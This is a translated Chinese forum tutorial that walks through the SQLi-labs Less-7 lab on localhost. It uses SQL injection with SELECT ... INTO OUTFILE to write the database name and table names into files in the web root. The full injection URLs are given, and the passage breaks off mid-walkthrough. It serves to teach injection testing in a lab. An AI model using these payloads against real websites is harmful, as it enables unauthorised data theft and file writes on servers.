-
-
[翻译]使用OUTFILE导出数据库数据
-
发表于: 2017-7-12 19:36 5431
-
今天我们将要使用语句SELECT...INTO OUTFILE,这是把表记录导出到文本文件或excel文件最简单的方法。
SELECT...INTO OUTFILE语句可以让用户将表中信息快速地导出到服务机器的一个文本文件中,但有些地方需要注意,输出文件是由MySQL服务器创建地,用户须明确指定要将该文件创建在服务机器地哪个位置,而且该路径不能是已存在地,因为不支持擦除写入,另外,执行该语句需要file权限。
Lesson 7
使用浏览器打开http://localhost:81/sqli/Less-7/?id=1(注:具体以个人配置为准)
由上图可以看出,屏幕上显示了"You are in.... Use outfile......",现在我们来试着搞点破坏。
在最后加上一个单引号('):
http://localhost:81/sqli/Less-7/?id=1'
由上图可以看出,破坏成功,这说明该数据库是可被SQL注入攻击的。
接下来就是修复该语法错误,在经过大量的尝试后,最终确定了以下查询语句:
http://localhost:81/sqli/Less-7/?id=1')) --+
由上图可以看出,语法已经正确了。可能你会注意到,本次SQL注入的步骤与以前的相同,只是采用的技术发生了变化。
接下来就到了今天的主题了,将数据导出到文本文件,请留意之前所说地需要注意的地方。
http://localhost:81/sqli/Less-7/?id=1')) union select 1,2,3 into outfile "/xampp/htdocs/sqli/Less-7/hack1.txt" --+
由上图可以看出,上面的查询存在语法错误,不过先别着急,我们先来看看数据到底导出成功了没有。
先打开一个新标签页,再次进入该实验室:
http://localhost:81/sqli/Less-7/
然后输入hack1.txt检查有没有该文件:
http://localhost:81/sqli/Less-7/hack1.txt
由上图可以看出,之前那条语句执行成功了,数据已经被导出来了。至于提示的语法错误?不重要了。
接下来将数据库名导出到一个新的文件中:
http://localhost:81/sqli/Less-7/?id=1')) union select 1,2,database() into outfile "/xampp/htdocs/sqli/Less-7/hack2.txt" --+
使用以下语句进行查看:
http://localhost:81/sqli/Less-7/hack2.txt
由上图可以看出,数据库名为'security'。
接下来将该数据库中的所有表名导出到一个新的文件中:
http://localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() into outfile "/xampp/htdocs/sqli/Less-7/hack3.txt" --+
使用以下语句进行查看:
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
- [翻译]使用 Bro IDS 和 Intel Critical Stack 分析网络活动 7911
- [翻译]如何使用 OpenSSL 保护聊天安全? 6586
- [翻译]漫谈C++游戏引擎开发 8396
- [翻译]XSLT 服务端注入攻击 5538
- [翻译]如何挖掘漏洞? 6236